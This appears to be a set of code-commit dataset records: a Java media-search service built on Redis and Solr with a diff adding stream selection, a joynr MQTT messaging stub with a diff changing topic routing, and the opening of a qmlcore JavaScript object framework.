private class Shutdown extends Thread {
private MediaSearcher searcher = null;
public Shutdown(MediaSearcher searcher) {
this.searcher = searcher;
}
public void run() {
System.out.println("Shutting down media searcher ...");
if (searcher != null) {
try {
searcher.close();
} catch (StreamException e) {
e.printStackTrace();
}
}
System.out.println("Done...");
}
}
private class SystemAgent extends Thread {
private StoreManager manager;
private MediaSearcher searcher;
public SystemAgent(StoreManager manager,MediaSearcher searcher){
this.manager = manager;
this.searcher = searcher;
}
public void run(){
while(state.equals(MediaSearcherState.OPEN)){
if(!storeManager.getWorkingDataBases().get("Solr")){
System.out.println("Apache solr is not working - Close Media Searcher");
storeManager.stop();
Shutdown shut = new Shutdown(searcher);
shut.run();
break;
}
}
}
}
/**
* @param args
*/
public static void main(String[] args) {
File configFile;
if(args.length != 1 ) {
configFile = new File("./conf/mediasearcher.conf.xml");
}
else {
configFile = new File(args[0]);
}
try {
StreamsManagerConfiguration config = StreamsManagerConfiguration.readFromFile(configFile);
MediaSearcher mediaSearcher = new MediaSearcher(config);
mediaSearcher.open();
} catch (ParserConfigurationException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (SAXException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (StreamException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
}
| src/main/java/eu/socialsensor/sfc/streams/management/MediaSearcher.java | package eu.socialsensor.sfc.streams.management;
import java.io.File;
import java.io.IOException;
import java.util.ArrayList;
import java.util.Date;
import java.util.HashMap;
import java.util.LinkedList;
import java.util.List;
import java.util.Map;
import java.util.Queue;
import java.util.UUID;
import javax.xml.parsers.ParserConfigurationException;
import org.apache.log4j.Logger;
import org.xml.sax.SAXException;
import redis.clients.jedis.Jedis;
import redis.clients.jedis.JedisPool;
import redis.clients.jedis.JedisPoolConfig;
import redis.clients.jedis.JedisPubSub;
import eu.socialsensor.framework.client.search.solr.SolrDyscoHandler;
import eu.socialsensor.framework.common.domain.Feed;
import eu.socialsensor.framework.common.domain.Item;
import eu.socialsensor.framework.common.domain.Keyword;
import eu.socialsensor.framework.common.domain.Query;
import eu.socialsensor.framework.common.domain.dysco.Dysco;
import eu.socialsensor.framework.common.domain.dysco.Dysco.DyscoType;
import eu.socialsensor.framework.common.domain.dysco.Message;
import eu.socialsensor.framework.common.domain.dysco.Message.Action;
import eu.socialsensor.framework.common.domain.feeds.KeywordsFeed;
import eu.socialsensor.framework.streams.Stream;
import eu.socialsensor.framework.streams.StreamConfiguration;
import eu.socialsensor.framework.streams.StreamException;
import eu.socialsensor.sfc.builder.FeedsCreator;
import eu.socialsensor.sfc.builder.SolrQueryBuilder;
import eu.socialsensor.sfc.builder.input.DataInputType;
import eu.socialsensor.sfc.streams.StreamsManagerConfiguration;
import eu.socialsensor.sfc.streams.monitors.StreamsMonitor;
public class MediaSearcher {
private static String REDIS_HOST = "redis.host";
private static String SOLR_HOST = "solr.hostname";
private static String SOLR_SERVICE = "solr.service";
private static String DYSCO_COLLECTION = "dyscos.collection";
public final Logger logger = Logger.getLogger(StreamsManager.class);
enum MediaSearcherState {
OPEN, CLOSE
}
private MediaSearcherState state = MediaSearcherState.CLOSE;
private StreamsManagerConfiguration config = null;
private StoreManager storeManager;
private StreamsMonitor monitor;
private Jedis subscriberJedis;
private DyscoRequestHandler dyscoRequestHandler;
private DyscoRequestReceiver dyscoRequestReceiver;
private DyscoUpdateAgent dyscoUpdateAgent;
private TrendingSearchHandler trendingSearchHandler;
private CustomSearchHandler customSearchHandler;
private SystemAgent systemAgent;
private SolrQueryBuilder queryBuilder;
private String redisHost;
private String solrHost;
private String solrService;
private String dyscoCollection;
private Map<String, Stream> streams = null;
private Queue<Dysco> requests = new LinkedList<Dysco>();
private Queue<String> dyscosToUpdate = new LinkedList<String>();
private Map<String,List<Query>> dyscosToQueries = new HashMap<String,List<Query>>();
public MediaSearcher(StreamsManagerConfiguration config) throws StreamException{
if (config == null) {
throw new StreamException("Manager's configuration must be specified");
}
this.config = config;
this.redisHost = config.getParameter(MediaSearcher.REDIS_HOST);
this.solrHost = config.getParameter(MediaSearcher.SOLR_HOST);
this.solrService = config.getParameter(MediaSearcher.SOLR_SERVICE);
this.dyscoCollection = config.getParameter(MediaSearcher.DYSCO_COLLECTION);
//Set up the Streams
initStreams();
//Set up the Storages
storeManager = new StoreManager(config);
}
/**
* Opens Manager by starting the auxiliary modules and setting up
* the database for reading/storing
* @throws StreamException
*/
public synchronized void open() throws StreamException {
if (state == MediaSearcherState.OPEN) {
return;
}
state = MediaSearcherState.OPEN;
this.systemAgent = new SystemAgent(storeManager,this);
systemAgent.start();
storeManager.start();
logger.info("Store Manager is ready to store.");
for (String streamId : streams.keySet()) {
logger.info("MediaSearcher - Start Stream : "+streamId);
StreamConfiguration sconfig = config.getStreamConfig(streamId);
Stream stream = streams.get(streamId);
stream.setHandler(storeManager);
stream.open(sconfig);
}
logger.info("Streams are now open");
//If there are Streams to monitor start the StreamsMonitor
if(streams != null && !streams.isEmpty()){
monitor = new StreamsMonitor(streams.size());
monitor.addStreams(streams);
logger.info("Streams added to monitor");
}
else {
logger.error("Streams Monitor cannot be started");
}
//start handlers
this.dyscoRequestHandler = new DyscoRequestHandler();
this.dyscoRequestReceiver = new DyscoRequestReceiver();
this.dyscoUpdateAgent = new DyscoUpdateAgent();
this.trendingSearchHandler = new TrendingSearchHandler(this);
this.customSearchHandler = new CustomSearchHandler(this);
try {
this.queryBuilder = new SolrQueryBuilder();
} catch (Exception e1) {
// TODO Auto-generated catch block
e1.printStackTrace();
}
dyscoRequestHandler.start();
dyscoUpdateAgent.start();
trendingSearchHandler.start();
customSearchHandler.start();
JedisPoolConfig poolConfig = new JedisPoolConfig();
JedisPool jedisPool = new JedisPool(poolConfig, redisHost, 6379, 0);
this.subscriberJedis = jedisPool.getResource();
new Thread(new Runnable() {
@Override
public void run() {
try {
logger.info("Try to subscribe to redis");
subscriberJedis.subscribe(dyscoRequestReceiver,eu.socialsensor.framework.client.search.MediaSearcher.CHANNEL);
} catch (Exception e) {
}
}
}).start();
state = MediaSearcherState.OPEN;
//Code to be removed
String dyscoId = "efa3bb3c-9247-4bd9-be49-440615c754df";
Action action = Action.NEW;
SolrDyscoHandler testSolrdyscoHandler = SolrDyscoHandler.getInstance(solrHost+"/"+solrService+"/"+dyscoCollection);;
Dysco dysco = testSolrdyscoHandler.findDyscoLight(dyscoId);
requests.add(dysco);
//Code to be removed
Runtime.getRuntime().addShutdownHook(new Shutdown(this));
}
/**
* Closes Manager along with its auxiliary modules
* @throws StreamException
*/
public synchronized void close() throws StreamException {
if (state == MediaSearcherState.CLOSE) {
return;
}
try{
for (Stream stream : streams.values()) {
stream.close();
}
// if(dyscoRequestReceiver != null){
// dyscoRequestReceiver.close();
// System.out.println("dyscoRequestReceiver closed");
// }
//
// if(dyscoRequestHandler != null){
// dyscoRequestHandler.close();
// System.out.println("dyscoRequestHandler closed");
// }
state = MediaSearcherState.CLOSE;
System.out.println("MediaSearcher closed");
}catch(Exception e) {
throw new StreamException("Error during streams close",e);
}
}
/**
* Searches for a dysco request depending on its feeds
* @param feeds to search
*/
public synchronized List<Item> search(List<Feed> feeds){
Integer totalItems = 0;
long t1 = System.currentTimeMillis();
if(feeds != null && !feeds.isEmpty()){
monitor.retrieveFromAllStreams(feeds);
while(!monitor.areAllStreamsFinished()){
}
totalItems = monitor.getTotalRetrievedItems().size();
}
long t2 = System.currentTimeMillis();
logger.info("Total items fetched : "+totalItems+" in "+(t2-t1)/1000+" seconds");
return monitor.getTotalRetrievedItems();
}
/**
* Initializes the streams that correspond to the wrappers
* that are used for multimedia retrieval
* @throws StreamException
*/
private void initStreams() throws StreamException {
streams = new HashMap<String,Stream>();
try{
for (String streamId : config.getStreamIds()){
StreamConfiguration sconfig = config.getStreamConfig(streamId);
streams.put(streamId,(Stream)Class.forName(sconfig.getParameter(StreamConfiguration.CLASS_PATH)).newInstance());
}
}catch(Exception e) {
e.printStackTrace();
throw new StreamException("Error during streams initialization",e);
}
}
/**
* Class for searching for custom dysco requests
* @author ailiakop
*
*/
public class CustomSearchHandler extends Thread {
private Queue<String> customDyscoQueue = new LinkedList<String>();
private Map<String,List<Feed>> inputFeedsPerDysco = new HashMap<String,List<Feed>>();
private Map<String,Long> requestsLifetime = new HashMap<String,Long>();
private Map<String,Long> requestsTimestamps = new HashMap<String,Long>();
private MediaSearcher searcher;
private boolean isAlive = true;
private static final long frequency = 2 * 300000; //ten minutes
private static final long periodOfTime = 48 * 3600000; //two days
public CustomSearchHandler(MediaSearcher mediaSearcher){
this.searcher = mediaSearcher;
}
public void addCustomDysco(String dyscoId,List<Feed> inputFeeds){
logger.info("New incoming dysco : "+dyscoId+" with "+inputFeeds.size()+" searchable feeds");
customDyscoQueue.add(dyscoId);
inputFeedsPerDysco.put(dyscoId, inputFeeds);
requestsLifetime.put(dyscoId, System.currentTimeMillis());
requestsTimestamps.put(dyscoId, System.currentTimeMillis());
}
public void deleteCustomDysco(String dyscoId){
inputFeedsPerDysco.remove(dyscoId);
requestsLifetime.remove(dyscoId);
requestsTimestamps.remove(dyscoId);
}
public void run(){
String dyscoId = null;
while(isAlive){
updateCustomQueue();
dyscoId = poll();
if(dyscoId == null){
continue;
}
else{
logger.info("Media Searcher handling #"+dyscoId);
List<Feed> feeds = inputFeedsPerDysco.get(dyscoId);
inputFeedsPerDysco.remove(dyscoId);
searcher.search(feeds);
}
}
}
/**
* Polls a trending dysco request from the queue
* @return
*/
private String poll(){
synchronized (customDyscoQueue) {
if (!customDyscoQueue.isEmpty()) {
String request = customDyscoQueue.poll();
return request;
}
try {
customDyscoQueue.wait(1000);
} catch (InterruptedException e) {
e.printStackTrace();
}
return null;
}
}
/**
* Stops TrendingSearchHandler
*/
public synchronized void close(){
isAlive = false;
}
/**
* Updates the queue of custom dyscos' requests and re-examines or deletes
* requests according to their time in the system
*/
private synchronized void updateCustomQueue(){
List<String> requestsToRemove = new ArrayList<String>();
long currentTime = System.currentTimeMillis();
for(Map.Entry<String, Long> entry : requestsLifetime.entrySet()){
// System.out.println("Checking dysco : "+entry.getKey().getId()+" that has time in system : "+(currentTime - entry.getValue())/1000);
if(currentTime - entry.getValue() > frequency){
entry.setValue(currentTime);
String requestToSearch = entry.getKey();
customDyscoQueue.add(requestToSearch);
requestsLifetime.put(entry.getKey(), System.currentTimeMillis());
if(currentTime - requestsTimestamps.get(entry.getKey())> periodOfTime){
requestsToRemove.add(entry.getKey());
}
}
}
if(!requestsToRemove.isEmpty()){
for(String requestToRemove : requestsToRemove){
deleteCustomDysco(requestToRemove);
}
requestsToRemove.clear();
}
}
}
/**
* Class for searching for trending dysco requests
* @author ailiakop
*
*/
public class TrendingSearchHandler extends Thread {
private Queue<String> trendingDyscoQueue = new LinkedList<String>();
private Map<String,List<Feed>> inputFeedsPerDysco = new HashMap<String,List<Feed>>();
private List<Item> retrievedItems = new ArrayList<Item>();
private MediaSearcher searcher;
private boolean isAlive = true;
private Date retrievalDate;
public TrendingSearchHandler(MediaSearcher mediaSearcher){
this.searcher = mediaSearcher;
}
public void addTrendingDysco(String dyscoId,List<Feed> inputFeeds){
logger.info("New incoming dysco : "+dyscoId+" with "+inputFeeds.size()+" searchable feeds");
trendingDyscoQueue.add(dyscoId);
inputFeedsPerDysco.put(dyscoId, inputFeeds);
}
public void run(){
String dyscoId = null;
while(isAlive){
dyscoId = poll();
if(dyscoId == null){
continue;
}
else{
long start = System.currentTimeMillis();
logger.info("Media Searcher handling #"+dyscoId);
List<Feed> feeds = inputFeedsPerDysco.get(dyscoId);
retrievalDate = feeds.get(0).getDateToRetrieve();
inputFeedsPerDysco.remove(dyscoId);
retrievedItems = searcher.search(feeds);
List<Query> queries = queryBuilder.getFurtherProcessedSolrQueries(retrievedItems,5);
dyscosToQueries.put(dyscoId, queries);
dyscosToUpdate.add(dyscoId);
List<Feed> newFeeds = translateQueriesToKeywordsFeeds(queries,retrievalDate);
long end = System.currentTimeMillis();
System.out.println("Media Searcher Time : "+(end-start)/1000+" sec ");
searcher.search(newFeeds);
long afterEnd = System.currentTimeMillis();
System.out.println("Total Time : "+(afterEnd-start)/1000+" sec ");
}
}
}
/**
* Polls a trending dysco request from the queue
* @return
*/
private String poll(){
synchronized (trendingDyscoQueue) {
if (!trendingDyscoQueue.isEmpty()) {
String request = trendingDyscoQueue.poll();
return request;
}
try {
trendingDyscoQueue.wait(1000);
} catch (InterruptedException e) {
e.printStackTrace();
}
return null;
}
}
/**
* Stops TrendingSearchHandler
*/
public synchronized void close(){
isAlive = false;
}
private List<Feed> translateQueriesToKeywordsFeeds(List<Query> queries,Date dateToRetrieve)
{
List<Feed> feeds = new ArrayList<Feed>();
for(Query query : queries){
UUID UUid = UUID.randomUUID();
feeds.add(new KeywordsFeed(new Keyword(query.getName(),query.getScore()),dateToRetrieve,UUid.toString()));
}
return feeds;
}
}
/**
* Class for handling incoming dysco requests that are received with redis
* @author ailiakop
*
*/
private class DyscoRequestHandler extends Thread {
private boolean isAlive = true;
private FeedsCreator feedsCreator;
private List<Feed> feeds;
public DyscoRequestHandler(){
}
public void run(){
Dysco receivedDysco = null;
while(isAlive){
receivedDysco = poll();
if(receivedDysco == null){
continue;
}
else{
feedsCreator = new FeedsCreator(DataInputType.DYSCO,receivedDysco);
feeds = feedsCreator.getQuery();
if(receivedDysco.getDyscoType().equals(DyscoType.TRENDING)){
trendingSearchHandler.addTrendingDysco(receivedDysco.getId(), feeds);
}
else if(receivedDysco.getDyscoType().equals(DyscoType.CUSTOM)){
customSearchHandler.addCustomDysco(receivedDysco.getId(), feeds);
}
else{
logger.error("Unsupported dysco - Cannot be processed from MediaSearcher");
}
}
}
}
/**
* Polls a trending dysco request from the queue
* @return
*/
private Dysco poll(){
synchronized (requests) {
if (!requests.isEmpty()) {
Dysco request = requests.poll();
return request;
}
try {
requests.wait(1000);
} catch (InterruptedException e) {
e.printStackTrace();
}
return null;
}
}
public void close(){
isAlive = false;
}
}
public class DyscoUpdateAgent extends Thread{
private SolrDyscoHandler solrdyscoHandler;
private boolean isAlive = true;
public DyscoUpdateAgent(){
this.solrdyscoHandler = SolrDyscoHandler.getInstance(solrHost+"/"+solrService+"/"+dyscoCollection);
}
public void run(){
String dyscoToUpdate = null;
while(isAlive){
dyscoToUpdate = poll();
if(dyscoToUpdate == null){
continue;
}
else{
List<Query> solrQueries = dyscosToQueries.get(dyscoToUpdate);
Dysco updatedDysco = solrdyscoHandler.findDyscoLight(dyscoToUpdate);
updatedDysco.setSolrQueries(solrQueries);
solrdyscoHandler.insertDysco(updatedDysco);
dyscosToQueries.remove(dyscoToUpdate);
}
}
}
/**
* Polls a trending dysco request from the queue
* @return
*/
private String poll(){
synchronized (dyscosToUpdate) {
if (!dyscosToUpdate.isEmpty()) {
String dyscoToUpdate = dyscosToUpdate.poll();
return dyscoToUpdate;
}
try {
dyscosToUpdate.wait(1000);
} catch (InterruptedException e) {
e.printStackTrace();
}
return null;
}
}
public void close(){
isAlive = false;
}
}
public class DyscoRequestReceiver extends JedisPubSub{
private SolrDyscoHandler solrdyscoHandler;
public DyscoRequestReceiver(){
this.solrdyscoHandler = SolrDyscoHandler.getInstance(solrHost+"/"+solrService+"/"+dyscoCollection);
}
/**
* Alerts the system that a new dysco request is received
* New dysco requests are added to a queue to be further
* processed by the DyscoRequestFeedsCreator thread.
* In case the dysco request already exists in mongo db,
* it is deleted from the system and not processed further.
*/
@Override
public void onMessage(String channel, String message) {
logger.info("Received dysco request : "+message);
Message dyscoMessage = Message.create(message);
String dyscoId = dyscoMessage.getDyscoId();
Action action = dyscoMessage.getAction();
switch(action){
case NEW :
logger.info("New dysco with id : "+dyscoId+" created");
Dysco dysco = solrdyscoHandler.findDyscoLight(dyscoId);
if(dysco == null){
logger.error("Invalid dysco request");
return;
}
requests.add(dysco);
break;
case UPDATE:
logger.info("Dysco with id : "+dyscoId+" updated");
break;
case DELETE:
logger.info("Dysco with id : "+dyscoId+" deleted");
break;
}
}
@Override
public void onPMessage(String pattern, String channel, String message) {
// Do Nothing
}
@Override
public void onSubscribe(String channel, int subscribedChannels) {
// Do Nothing
}
@Override
public void onUnsubscribe(String channel, int subscribedChannels) {
// Do Nothing
}
@Override
public void onPUnsubscribe(String pattern, int subscribedChannels) {
// Do Nothing
}
@Override
public void onPSubscribe(String pattern, int subscribedChannels) {
// Do Nothing
}
public void close(){
subscriberJedis.quit();
}
}
/**
* Class in case system is shutdown
* Responsible to close all services
* that are running at the time being
* @author ailiakop
*
*/
private class Shutdown extends Thread {
private MediaSearcher searcher = null;
public Shutdown(MediaSearcher searcher) {
this.searcher = searcher;
}
public void run() {
System.out.println("Shutting down media searcher ...");
if (searcher != null) {
try {
searcher.close();
} catch (StreamException e) {
e.printStackTrace();
}
}
System.out.println("Done...");
}
}
private class SystemAgent extends Thread {
private StoreManager manager;
private MediaSearcher searcher;
public SystemAgent(StoreManager manager,MediaSearcher searcher){
this.manager = manager;
this.searcher = searcher;
}
public void run(){
while(state.equals(MediaSearcherState.OPEN)){
if(!storeManager.getWorkingDataBases().get("Solr")){
System.out.println("Apache solr is not working - Close Media Searcher");
storeManager.stop();
Shutdown shut = new Shutdown(searcher);
shut.run();
break;
}
}
}
}
/**
* @param args
*/
public static void main(String[] args) {
File configFile;
if(args.length != 1 ) {
configFile = new File("./conf/mediasearcher.conf.xml");
}
else {
configFile = new File(args[0]);
}
try {
StreamsManagerConfiguration config = StreamsManagerConfiguration.readFromFile(configFile);
MediaSearcher mediaSearcher = new MediaSearcher(config);
mediaSearcher.open();
} catch (ParserConfigurationException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (SAXException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (StreamException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
}
| added select streams to search from feature | src/main/java/eu/socialsensor/sfc/streams/management/MediaSearcher.java | added select streams to search from feature | <ide><path>rc/main/java/eu/socialsensor/sfc/streams/management/MediaSearcher.java
<ide> import java.util.ArrayList;
<ide> import java.util.Date;
<ide> import java.util.HashMap;
<add>import java.util.HashSet;
<ide> import java.util.LinkedList;
<ide> import java.util.List;
<ide> import java.util.Map;
<ide> import java.util.Queue;
<add>import java.util.Set;
<ide> import java.util.UUID;
<ide>
<ide> import javax.xml.parsers.ParserConfigurationException;
<ide> * Searches for a dysco request depending on its feeds
<ide> * @param feeds to search
<ide> */
<del> public synchronized List<Item> search(List<Feed> feeds){
<add> public synchronized List<Item> search(List<Feed> feeds,Set<String>streamsToSearch){
<ide> Integer totalItems = 0;
<ide>
<ide> long t1 = System.currentTimeMillis();
<ide>
<ide> if(feeds != null && !feeds.isEmpty()){
<ide>
<del> monitor.retrieveFromAllStreams(feeds);
<del>
<add> monitor.retrieveFromSelectedStreams(streamsToSearch, feeds);
<ide> while(!monitor.areAllStreamsFinished()){
<ide>
<ide> }
<ide> logger.info("Media Searcher handling #"+dyscoId);
<ide> List<Feed> feeds = inputFeedsPerDysco.get(dyscoId);
<ide> inputFeedsPerDysco.remove(dyscoId);
<del> searcher.search(feeds);
<add> searcher.search(feeds,streams.keySet());
<ide>
<ide> }
<ide>
<ide>
<ide> private List<Item> retrievedItems = new ArrayList<Item>();
<ide>
<add> private Set<String> primaryStreamsToSearch = new HashSet<String>();
<add>
<ide> private MediaSearcher searcher;
<ide>
<ide> private boolean isAlive = true;
<ide>
<ide> public TrendingSearchHandler(MediaSearcher mediaSearcher){
<ide> this.searcher = mediaSearcher;
<del>
<add> primaryStreamsToSearch.addAll(streams.keySet());
<add> primaryStreamsToSearch.remove("Facebook");
<ide> }
<ide>
<ide> public void addTrendingDysco(String dyscoId,List<Feed> inputFeeds){
<ide> List<Feed> feeds = inputFeedsPerDysco.get(dyscoId);
<ide> retrievalDate = feeds.get(0).getDateToRetrieve();
<ide> inputFeedsPerDysco.remove(dyscoId);
<del> retrievedItems = searcher.search(feeds);
<add> retrievedItems = searcher.search(feeds,primaryStreamsToSearch);
<ide> List<Query> queries = queryBuilder.getFurtherProcessedSolrQueries(retrievedItems,5);
<ide> dyscosToQueries.put(dyscoId, queries);
<ide> dyscosToUpdate.add(dyscoId);
<ide> List<Feed> newFeeds = translateQueriesToKeywordsFeeds(queries,retrievalDate);
<ide> long end = System.currentTimeMillis();
<ide> System.out.println("Media Searcher Time : "+(end-start)/1000+" sec ");
<del> searcher.search(newFeeds);
<add> searcher.search(newFeeds,streams.keySet());
<ide> long afterEnd = System.currentTimeMillis();
<ide> System.out.println("Total Time : "+(afterEnd-start)/1000+" sec ");
<ide> } |
|
Java | apache-2.0 | 0cda23c9d0ead26f881500781c50f71284d02fc0 | 0 | bmwcarit/joynr,bmwcarit/joynr,clive-jevons/joynr,clive-jevons/joynr,bmwcarit/joynr,bmwcarit/joynr,clive-jevons/joynr,clive-jevons/joynr,bmwcarit/joynr,clive-jevons/joynr,bmwcarit/joynr,bmwcarit/joynr,bmwcarit/joynr,clive-jevons/joynr,bmwcarit/joynr | package io.joynr.messaging.mqtt;
import static joynr.JoynrMessage.MESSAGE_TYPE_BROADCAST_SUBSCRIPTION_REQUEST;
import static joynr.JoynrMessage.MESSAGE_TYPE_REQUEST;
import static joynr.JoynrMessage.MESSAGE_TYPE_SUBSCRIPTION_REQUEST;
/*
* #%L
* %%
* Copyright (C) 2011 - 2016 BMW Car IT GmbH
* %%
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
* #L%
*/
import io.joynr.messaging.FailureAction;
import io.joynr.messaging.IMessaging;
import io.joynr.messaging.JoynrMessageSerializer;
import joynr.JoynrMessage;
import joynr.system.RoutingTypes.MqttAddress;
import joynr.system.RoutingTypes.RoutingTypesUtil;
/**
* Messaging stub used to send messages to a MQTT Broker
*/
public class MqttMessagingStub implements IMessaging {
private static final String PRIORITY_LOW = "/low/";
private static final String RAW = PRIORITY_LOW + "raw";
private MqttAddress address;
private JoynrMqttClient mqttClient;
private JoynrMessageSerializer messageSerializer;
private MqttAddress replyToMqttAddress;
public MqttMessagingStub(MqttAddress address,
MqttAddress replyToMqttAddress,
JoynrMqttClient mqttClient,
JoynrMessageSerializer messageSerializer) {
this.address = address;
this.replyToMqttAddress = replyToMqttAddress;
this.mqttClient = mqttClient;
this.messageSerializer = messageSerializer;
}
@Override
public void transmit(JoynrMessage message, FailureAction failureAction) {
setReplyTo(message);
String topic = address.getTopic() + PRIORITY_LOW + message.getTo();
String serializedMessage = messageSerializer.serialize(message);
try {
mqttClient.publishMessage(topic, serializedMessage);
} catch (Throwable error) {
failureAction.execute(error);
}
}
@Override
public void transmit(String serializedMessage, FailureAction failureAction) {
// Unable to access participantId, so publishing to RAW topic
String topic = address.getTopic() + RAW;
try {
mqttClient.publishMessage(topic, serializedMessage);
} catch (Throwable error) {
failureAction.execute(error);
}
}
private void setReplyTo(JoynrMessage message) {
String type = message.getType();
if (type != null
&& message.getReplyTo() == null
&& (type.equals(MESSAGE_TYPE_REQUEST) || type.equals(MESSAGE_TYPE_SUBSCRIPTION_REQUEST) || type.equals(MESSAGE_TYPE_BROADCAST_SUBSCRIPTION_REQUEST))) {
message.setReplyTo(RoutingTypesUtil.toAddressString(replyToMqttAddress));
}
}
}
| java/messaging/mqtt/joynr-mqtt-client/src/main/java/io/joynr/messaging/mqtt/MqttMessagingStub.java | package io.joynr.messaging.mqtt;
import static joynr.JoynrMessage.MESSAGE_TYPE_BROADCAST_SUBSCRIPTION_REQUEST;
import static joynr.JoynrMessage.MESSAGE_TYPE_REQUEST;
import static joynr.JoynrMessage.MESSAGE_TYPE_SUBSCRIPTION_REQUEST;
/*
* #%L
* %%
* Copyright (C) 2011 - 2016 BMW Car IT GmbH
* %%
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
* #L%
*/
import io.joynr.messaging.FailureAction;
import io.joynr.messaging.IMessaging;
import io.joynr.messaging.JoynrMessageSerializer;
import joynr.JoynrMessage;
import joynr.system.RoutingTypes.MqttAddress;
import joynr.system.RoutingTypes.RoutingTypesUtil;
/**
* Messaging stub used to send messages to a MQTT Broker
*/
public class MqttMessagingStub implements IMessaging {
private MqttAddress address;
private JoynrMqttClient mqttClient;
private JoynrMessageSerializer messageSerializer;
private MqttAddress replyToMqttAddress;
public MqttMessagingStub(MqttAddress address,
MqttAddress replyToMqttAddress,
JoynrMqttClient mqttClient,
JoynrMessageSerializer messageSerializer) {
this.address = address;
this.replyToMqttAddress = replyToMqttAddress;
this.mqttClient = mqttClient;
this.messageSerializer = messageSerializer;
}
@Override
public void transmit(JoynrMessage message, FailureAction failureAction) {
setReplyTo(message);
String serializeMessage = messageSerializer.serialize(message);
transmit(serializeMessage, failureAction);
}
@Override
public void transmit(String serializedMessage, FailureAction failureAction) {
String topic = address.getTopic();
try {
mqttClient.publishMessage(topic, serializedMessage);
} catch (Throwable error) {
failureAction.execute(error);
}
}
private void setReplyTo(JoynrMessage message) {
String type = message.getType();
if (type != null
&& message.getReplyTo() == null
&& (type.equals(MESSAGE_TYPE_REQUEST) || type.equals(MESSAGE_TYPE_SUBSCRIPTION_REQUEST) || type.equals(MESSAGE_TYPE_BROADCAST_SUBSCRIPTION_REQUEST))) {
message.setReplyTo(RoutingTypesUtil.toAddressString(replyToMqttAddress));
}
}
}
| [Java] MqttMessagingStub publishes to participantId-based subtopic
JoynrMessages are to be published to a topic composed of
channelId/priority/participantId.
Change-Id: Ia6f15609e2876ebe291a79909d011115224f895a
| java/messaging/mqtt/joynr-mqtt-client/src/main/java/io/joynr/messaging/mqtt/MqttMessagingStub.java | [Java] MqttMessagingStub publishes to participantId-based subtopic | <ide><path>ava/messaging/mqtt/joynr-mqtt-client/src/main/java/io/joynr/messaging/mqtt/MqttMessagingStub.java
<ide> */
<ide> public class MqttMessagingStub implements IMessaging {
<ide>
<add> private static final String PRIORITY_LOW = "/low/";
<add> private static final String RAW = PRIORITY_LOW + "raw";
<ide> private MqttAddress address;
<ide> private JoynrMqttClient mqttClient;
<ide> private JoynrMessageSerializer messageSerializer;
<ide> @Override
<ide> public void transmit(JoynrMessage message, FailureAction failureAction) {
<ide> setReplyTo(message);
<del> String serializeMessage = messageSerializer.serialize(message);
<del> transmit(serializeMessage, failureAction);
<add> String topic = address.getTopic() + PRIORITY_LOW + message.getTo();
<add> String serializedMessage = messageSerializer.serialize(message);
<add> try {
<add> mqttClient.publishMessage(topic, serializedMessage);
<add> } catch (Throwable error) {
<add> failureAction.execute(error);
<add> }
<ide> }
<ide>
<ide> @Override
<ide> public void transmit(String serializedMessage, FailureAction failureAction) {
<del> String topic = address.getTopic();
<add> // Unable to access participantId, so publishing to RAW topic
<add> String topic = address.getTopic() + RAW;
<ide> try {
<ide> mqttClient.publishMessage(topic, serializedMessage);
<ide> } catch (Throwable error) { |
|
JavaScript | mit | 340d3960fd2367a48123933def22f1ee4546a9ef | 0 | pureqml/qmlcore,pureqml/qmlcore,pureqml/qmlcore | /* qml.core javascript code */
var keyCodes = {
13: 'Select',
37: 'Left',
38: 'Up',
39: 'Right',
40: 'Down'
}
var colorTable = {
'maroon': '800000',
'red': 'ff0000',
'orange': 'ffA500',
'yellow': 'ffff00',
'olive': '808000',
'purple': '800080',
'fuchsia': 'ff00ff',
'white': 'ffffff',
'lime': '00ff00',
'green': '008000',
'navy': '000080',
'blue': '0000ff',
'aqua': '00ffff',
'teal': '008080',
'black': '000000',
'silver': 'c0c0c0',
'gray': '080808'
}
_globals.core.Object = function(parent) {
this.parent = parent;
this.children = []
this._local = {}
this._changedHandlers = {}
this._eventHandlers = {}
this._pressedHandlers = {}
this._animations = {}
this._updaters = {}
}
_globals.core.Object.prototype.addChild = function(child) {
this.children.push(child);
}
_globals.core.Object.prototype._setId = function (name) {
var p = this;
while(p) {
p._local[name] = this;
p = p.parent;
}
}
_globals.core.Object.prototype.onChanged = function (name, callback) {
if (name in this._changedHandlers)
this._changedHandlers[name].push(callback);
else
this._changedHandlers[name] = [callback];
}
_globals.core.Object.prototype.removeOnChanged = function (name, callback) {
if (name in this._changedHandlers) {
var handlers = this._changedHandlers[name];
for(var i = 0; i < handlers.length; ) {
if (handlers[i] === callback) {
handlers.splice(i, 1)
} else
++i
}
}
}
_globals.core.Object.prototype._removeUpdater = function (name, callback) {
if (name in this._updaters)
this._updaters[name]();
if (callback) {
this._updaters[name] = callback;
} else
delete this._updaters[name]
}
_globals.core.Object.prototype.onPressed = function (name, callback) {
if (name in this._pressedHandlers)
this._pressedHandlers[name].push(callback);
else
this._pressedHandlers[name] = [callback];
}
_globals.core.Object.prototype._update = function(name, value) {
if (name in this._changedHandlers) {
var handlers = this._changedHandlers[name];
handlers.forEach(function(callback) { callback(value); });
}
}
_globals.core.Object.prototype.on = function (name, callback) {
if (name in this._eventHandlers)
this._eventHandlers[name].push(callback);
else
this._eventHandlers[name] = [callback];
}
_globals.core.Object.prototype._emitEvent = function(name) {
var args = Array.prototype.slice.call(arguments);
args.shift();
if (name in this._eventHandlers) {
